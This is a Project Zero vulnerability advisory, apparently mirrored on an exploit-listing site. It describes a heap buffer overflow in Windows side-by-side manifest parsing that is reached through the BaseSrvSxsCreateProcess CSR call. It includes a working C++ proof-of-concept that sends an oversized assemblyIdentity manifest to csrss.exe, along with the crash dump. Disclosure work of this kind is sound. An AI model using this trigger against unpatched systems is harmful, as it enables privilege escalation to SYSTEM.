Share
## https://sploitus.com/exploit?id=PACKETSTORM:168068
Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity  
  
## SUMMARY  
A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.  
  
  
## VULNERABILITY DETAILS  
In 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength` field in one of the `UNICODE_STRING` parameters of the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine wasn't properly validated, and was later used by `XMLParser_Element_doc_assembly_assemblyIdentity` as the maximum size of a `memcpy` destination buffer. The fix added an extra `CsrValidateMessageBuffer` call to `BaseSrvSxsCreateActivationContextFromMessage`.  
  
We've just discovered that `BaseSrvSxsCreateActivationContextFromMessage` is not the only CSR routine that can reach `XMLParser_Element_doc_assembly_assemblyIdentity`. An attacker can trigger the same buffer overflow via `BaseSrvSxsCreateProcess`.  
  
1. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1027.html  
  
  
## VERSION  
Windows 11 12H2 (OS Build 22000.593)  
Windows 10 12H2 (OS Build 19044.1586)  
  
  
## REPRODUCTION CASE  
1) Enable page heap verification for csrss.exe:  
```  
gflags /p /enable csrss.exe /full  
```  
  
2) Restart the machine.  
  
3) Compile and run:  
```  
#pragma comment(lib, "ntdll")  
  
#include <windows.h>  
#include <winternl.h>  
#include <cstdint>  
#include <cstdio>  
#include <string>  
  
typedef struct _SECTION_IMAGE_INFORMATION {  
PVOID EntryPoint;  
ULONG StackZeroBits;  
ULONG StackReserved;  
ULONG StackCommit;  
ULONG ImageSubsystem;  
WORD SubSystemVersionLow;  
WORD SubSystemVersionHigh;  
ULONG Unknown1;  
ULONG ImageCharacteristics;  
ULONG ImageMachineType;  
ULONG Unknown2[3];  
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;  
  
typedef struct _RTL_USER_PROCESS_INFORMATION {  
ULONG Size;  
HANDLE ProcessHandle;  
HANDLE ThreadHandle;  
CLIENT_ID ClientId;  
SECTION_IMAGE_INFORMATION ImageInformation;  
BYTE Unknown1[128];  
} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;  
  
NTSTATUS(NTAPI* RtlCreateProcessParameters)  
(PRTL_USER_PROCESS_PARAMETERS*,  
PUNICODE_STRING,  
PUNICODE_STRING,  
PUNICODE_STRING,  
PUNICODE_STRING,  
PVOID,  
PUNICODE_STRING,  
PUNICODE_STRING,  
PUNICODE_STRING,  
PUNICODE_STRING);  
NTSTATUS(NTAPI* RtlCreateUserProcess)  
(PUNICODE_STRING,  
ULONG,  
PRTL_USER_PROCESS_PARAMETERS,  
PSECURITY_DESCRIPTOR,  
PSECURITY_DESCRIPTOR,  
HANDLE,  
BOOLEAN,  
HANDLE,  
HANDLE,  
PRTL_USER_PROCESS_INFORMATION);  
  
PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);  
VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);  
NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);  
NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);  
  
void CaptureString(LPVOID capture_buffer,  
uint8_t* msg_field,  
PCWSTR string,  
size_t length = 0) {  
if (length == 0)  
length = lstrlenW(string);  
  
CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,  
length * 2 + 2, (PSTR)msg_field);  
}  
  
int main() {  
HMODULE ntdll = LoadLibrary(L"ntdll");  
  
#define INIT_PROC(name) \  
name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));  
  
INIT_PROC(RtlCreateProcessParameters);  
INIT_PROC(RtlCreateUserProcess);  
  
INIT_PROC(CsrAllocateCaptureBuffer);  
INIT_PROC(CsrFreeCaptureBuffer);  
INIT_PROC(CsrClientCallServer);  
INIT_PROC(CsrCaptureMessageString);  
  
UNICODE_STRING image_path;  
PRTL_USER_PROCESS_PARAMETERS proc_params;  
RTL_USER_PROCESS_INFORMATION proc_info = {0};  
  
RtlInitUnicodeString(&image_path, L"\\SystemRoot\\notepad.exe");  
RtlCreateProcessParameters(&proc_params, &image_path, NULL, NULL, NULL, NULL,  
NULL, NULL, NULL, NULL);  
RtlCreateUserProcess(&image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL,  
NULL, NULL, FALSE, NULL, NULL, &proc_info);  
  
const size_t HEADER_SIZE = 0x40;  
uint8_t msg[HEADER_SIZE + 0x1f8] = {0};  
  
#define FIELD(n) msg + HEADER_SIZE + 8 * n  
#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;  
  
SET_FIELD(2, proc_info.ClientId.UniqueProcess);  
SET_FIELD(3, proc_info.ClientId.UniqueThread);  
  
SET_FIELD(4, -1);  
SET_FIELD(7, 1);  
SET_FIELD(8, 0x20000);  
  
std::string manifest =  
"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' "  
"manifestVersion='1.0'>"  
"<assemblyIdentity name='@' version='1.0.0.0'/>"  
"</assembly>";  
manifest.replace(manifest.find('@'), 1, 0x4000, 'A');  
  
SET_FIELD(13, manifest.c_str());  
SET_FIELD(14, manifest.size());  
  
PVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200);  
  
CaptureString(capture_buffer, FIELD(22), L"C:\\Windows\\");  
CaptureString(capture_buffer, FIELD(24), L"\x00\x00", 2);  
CaptureString(capture_buffer, FIELD(28), L"A");  
SET_FIELD(28, 0xff000002);  
  
CsrClientCallServer(msg, capture_buffer, 0x1001001d,  
sizeof(msg) - HEADER_SIZE);  
}  
```  
  
The crash should look like to the following:  
```  
CONTEXT: 0000007c4afbcfc0 -- (.cxr 0x7c4afbcfc0)  
rax=0000020e6515ce00 rbx=0000000000004000 rcx=0000020e6515d010  
rdx=fffffffffbe741fa rsi=0000020e652c48c0 rdi=0000000000000001  
rip=00007ff825a53c53 rsp=0000007c4afbdd38 rbp=0000007c4afbde80  
r8=0000000000000032 r9=00000000000001f7 r10=00007ff822e6b558  
r11=0000020e60fd8ffc r12=0000020e66d1cf80 r13=0000000000000001  
r14=0000000000000000 r15=0000000000000005  
iopl=0 nv up ei pl nz na pe nc  
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
ntdll!memcpy+0x113:  
0033:00007ff8`25a53c53 0f2941f0 movaps xmmword ptr [rcx-10h],xmm0 ds:002b:0000020e`6515d000=????????????????????????????????  
Resetting default scope  
  
WRITE_ADDRESS: 0000020e6515d000  
  
EXCEPTION_RECORD: 0000007c4afbd4b0 -- (.exr 0x7c4afbd4b0)  
ExceptionAddress: 00007ff825a53c53 (ntdll!memcpy+0x0000000000000113)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 0000000000000001  
Parameter[1]: 0000020e6515d000  
Attempt to write to address 0000020e6515d000  
  
STACK_TEXT:  
0000007c`4afbdd38 00007ff8`22df5a41 : 0000020e`652c48c0 00000000`00000001 00000000`00000001 00000000`00000001 : ntdll!memcpy+0x113  
0000007c`4afbdd40 00007ff8`22e07b94 : 00007ff8`00000000 00000000`000000a8 0000020e`652c48c0 0000020e`652c48c0 : sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity+0x4c1  
0000007c`4afbe3c0 00007ff8`22e1f406 : 0000020e`652e7f20 0000020e`652e7f20 00000000`00000000 00000000`00000000 : sxs!CNodeFactory::CreateNode+0xd34  
0000007c`4afbe7d0 00007ff8`22df8a33 : 0000020e`00000000 0000020e`652a8cc8 00000000`00000000 0000020e`65166e20 : sxs!XMLParser::Run+0x8d6  
0000007c`4afbe8f0 00007ff8`22df7468 : 0000020e`00000000 0000020e`6527ac90 00000000`00000000 0000020e`6527ac90 : sxs!SxspIncorporateAssembly+0x513  
0000007c`4afbeab0 00007ff8`22df7cf6 : 00000000`00000000 00000000`00000000 0000020e`6527ac90 0000020e`65167720 : sxs!SxspIncorporateAssembly+0x104  
0000007c`4afbeb60 00007ff8`22df3769 : 0000007c`00000000 0000007c`4afbefa0 00000000`00000000 0000020e`65166e20 : sxs!SxspCloseManifestGraph+0xbe  
0000007c`4afbec00 00007ff8`22fb3eed : 00000000`00000000 00000000`00000000 00000000`00000000 0000007c`4afbf3a0 : sxs!SxsGenerateActivationContext+0x339  
0000007c`4afbed60 00007ff8`22fb2405 : 0000007c`4afbf1f0 000004f7`0000000b 00000000`00000000 00000000`00000001 : sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x6ed  
0000007c`4afbf1a0 00007ff8`22fb1e91 : 0000020e`56e00000 00000000`01080002 00000000`00000264 00000000`00000270 : sxssrv!InternalSxsCreateProcess+0x545  
0000007c`4afbf680 00007ff8`230133c3 : 00000000`00000000 0000007c`4afbf789 00000000`00000000 00000000`00000000 : sxssrv!BaseSrvSxsCreateProcess+0x71  
0000007c`4afbf6c0 00007ff8`23036490 : 0000020e`ffffffff 0000007c`4afbf848 0000020e`00000000 0000020e`00000001 : basesrv!BaseSrvCreateProcess2+0x1f3  
0000007c`4afbf7f0 00007ff8`25a0265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CSRSRV!CsrApiRequestThread+0x4d0  
0000007c`4afbfe90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2f  
```  
  
  
## CREDIT INFORMATION  
Sergei Glazunov of Google Project Zero  
  
  
Related CVE Numbers: CVE-2020-1027,CVE-2022-22026,CVE-2022-22026.  
  
  
  
Found by: glazunov@google.com